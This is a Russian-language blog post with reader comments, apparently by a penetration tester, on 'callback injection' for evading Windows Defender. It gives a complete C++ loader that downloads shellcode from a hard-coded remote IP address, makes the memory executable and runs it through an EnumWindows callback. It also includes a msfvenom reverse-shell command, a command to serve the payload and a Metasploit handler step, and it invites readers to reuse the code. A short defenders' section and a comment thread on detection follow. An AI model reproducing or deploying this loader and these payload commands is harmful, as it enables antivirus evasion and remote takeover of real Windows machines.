Меня зовут Степанов Даниил, я пентестер в одной из крупных ИБ компаний России. В основном занимаюсь внутренним пентестом, исследованием обходных техник и автоматизацией эксплойтов. Сегодня разберем интересную технику Callback-Injection (где даже не будем обфусицировать шеллкод метасплоита 0_0 )
? Оглавление
Введение: проблема классической инъекции
Что такое Callback Injection
Почему это работает против Defender
Полный разбор техники (с кодом)
Демонстрация работы
Как защититься
Заключение
1. Введение
Представьте ситуацию: вы на пентесте, у вас есть шеллкод, но Windows Defender блокирует любой подозрительный вызов. CreateRemoteThread — детектится. QueueUserAPC — детектится. NtCreateThreadEx — детектится.
Что делать?
Ответ: не создавать потоки самому, а попросить Windows сделать это за вас.
Callback Injection - это техника, при которой вы «одалживаете» легитимный поток Windows, заставляя его выполнить ваш код через официальные callback-механизмы.
2. Что такое Callback Injection
Callback - это функция, которую вы передаёте Windows, чтобы система вызвала её при наступлении определённого события.
Windows содержит сотни callback-механизмов:
EnumWindows— для перебора оконEnumChildWindows— для дочерних оконEnumFonts— для перебора шрифтовSetTimer— для таймеровSetWinEventHook— для событийИ многие другие…
Идея в том, что вы:
Выделяете память с шеллкодом
Меняете защиту на исполняемую
Передаёте указатель на шеллкод в качестве
lParamВ callback'е просто выполняете его
Windows сама вызывает ваш код в своём потоке.
3. Почему это работает против Defender
Почему EnumWindows не детектится?
EnumWindows- легитимная функция, используемая тысячами приложенийCallback вызывается внутри
ntdll!ZwEnumerateWindows, что выглядит как обычный системный вызовEDR редко проверяют, что именно выполняется в callback'е
4. Полный разбор техники (с кодом)
Шаг 1: Скачиваем шеллкод с сервера
std::vector<BYTE> DownloadFile(const wchar_t* server, int port, const wchar_t* path) { HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); HINTERNET hConnect = WinHttpConnect(hSession, server, port, 0); HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); WinHttpReceiveResponse(hRequest, NULL); std::vector<BYTE> result; BYTE buffer[4096]; DWORD bytesRead; while (WinHttpReadData(hRequest, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) { result.insert(result.end(), buffer, buffer + bytesRead); } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return result; }
Шаг 2: Callback-функция
BOOL CALLBACK InjectionCallback(HWND hwnd, LPARAM lParam) { // lParam содержит указатель на наш шеллкод void (*shellcode)() = (void(*)())lParam; // Выполняем! shellcode(); // Останавливаем перебор после первого окна return FALSE; }
Шаг 3: Основная логика
int main() { // 1. Скачиваем шеллкод auto shellcode = DownloadFile(L"31.44.0.193", 8080, L"/payload.bin"); // 2. Выделяем память LPVOID pMemory = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 3. Копируем memcpy(pMemory, shellcode.data(), shellcode.size()); // 4. Меняем защиту на исполняемую DWORD oldProtect; VirtualProtect(pMemory, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect); // 5. Запускаем через callback EnumWindows((WNDENUMPROC)InjectionCallback, (LPARAM)pMemory); // 6. Очистка (сюда не доходим, если шеллкод успешен) VirtualFree(pMemory, 0, MEM_RELEASE); return 0; }
Что происходит под капотом?
1. VirtualAlloc → выделяет память (PAGE_READWRITE) 2. memcpy → копирует шеллкод 3. VirtualProtect → меняет защиту на PAGE_EXECUTE_READWRITE 4. EnumWindows → перебирает все окна, вызывая ваш callback 5. Callback → выполняет шеллкод 6. Шеллкод → например, reverse shell
Важный момент: Код выполняется в контексте потока, который вызвал EnumWindows. Это поток вашего процесса, поэтому шеллкод будет выполняться с теми же правами, что и ваша программа.
5. Демонстрация работы
Подготавливаем нашу тестируемую машину (включаем все что есть в защитнике)

2. Подготавливаем наш shellcode и поднимаем сервер на VPS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ip LPORT=4444 -f raw -o shellcode.bin python3 -m http.server 8080

3. Меняем переменные в коде

Если для тестирования будете использовать мой код то надо изменить эти значения на ваши
4. Запускаем exploit/multi/handler для получения шелла

5. Запускаем на жертве наш код и получаем шелл!

6. Как защититься
Для защитников:
Мониторить вызовы
VirtualProtectс изменением защиты наPAGE_EXECUTE_READWRITEАнализировать callback-функции — проверять, не указывает ли
lParamна исполняемую памятьИспользовать EDR с поведенческим анализом — CrowdStrike и Carbon Black детектят эту технику на поведенческом уровне
Включить контроль приложений (WDAC/AppLocker)
7. Заключение
Callback Injection - это не новая техника, но она до сих пор работает на многих системах.
Почему я делюсь этим?
Потому что понимание методов атак - первый шаг к их предотвращению. Windows Defender отлично защищает от "школьных" методов, но против продвинутых техник он всё ещё уязвим.
Что дальше?
P.S. Полный код с комментариями я выложил на GitHub (https://github.com/NewComrade12211/callbackinjection/blob/main/callbackinjection.cpp).
В следующей статье я расскажу о расширении техники - использовании других callback-функций (EnumChildWindows, EnumFonts, EnumPrinters). А также покажу, как обфусцировать шеллкод, чтобы обойти даже поведенческий анализ.Подписывайтесь на телеграм-канал, чтобы не пропустить https://t.me/c2signals.
Комментарии (13)

mishast
15.04.2026 12:56Странно, что VirtualProtect с
PAGE_EXECUTE_READWRITEне детектиться. По-моему это первое, что должно детектиться.
А кто ещё может добавлять флаг EXECUTE кроме малварей? Есть такие приложения?
ihateyou Автор
15.04.2026 12:56Спасибо за вопрос!
VirtualProtect с PAGE_EXECUTE_READWRITE действительно детектится многими EDR, но не сигнатурно, а на поведенческом уровне.
Легитимные приложения - JIT-компиляторы (Chrome V8, .NET JIT, Java JIT, PowerShell JIT), установщики (NSIS, InnoSetup), драйверы, обфускаторы легитимного ПО и системные механизмы (например,ntdll!RtlMoveMemoryс последующим исполнением). EDR не может заблокировать все вызовы VirtualProtect с EXECUTE, иначе сломается половина софта.

d3d14
15.04.2026 12:56Никто не мешает сначала выделить с RW, записать, потом поменять на RE и запустить.

dreams_killer
15.04.2026 12:56Вчитайтесь в код, в примере так и делается. Вопрос в комментарии как раз о детекте virtualprotect на изменение с RW на RE.

d3d14
15.04.2026 12:56Там не так
VirtualProtect(pMemory, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect);Флаг PAGE_EXECUTE_READWRITE является красным флагом для защит. Лучше PAGE_EXECUTE_READ.

dreams_killer
15.04.2026 12:56Я могу заблуждаться, но по-моему не каждая полезная нагрузка стартанёт без write...

BareDreamer
15.04.2026 12:56Фраза «Windows сама вызывает ваш код в своём потоке» вводит в заблуждение. Я понял её так, будто речь идёт о каком-то особом потоке, созданном операционной системой. Далее правильно написано, что это не так: «Код выполняется в контексте потока, который вызвал EnumWindows».

Miller83
15.04.2026 12:56Интересная техника. Но есть нюанс: callback injection через EnumWindows/EnumChildWindows работает только пока Defender не обновит сигнатуры на конкретный callback-вектор. Microsoft обычно закрывает такие штуки за 2-3 недели после публичного disclosure. Вопрос: вы тестировали на актуальных базах Defender (апрель 2026)? Потому что половина подобных техник из 2024-2025 уже не проходит

GausBug
Статья огонь, все показано на примере, и проблем с воспроизведением ни каких не будет.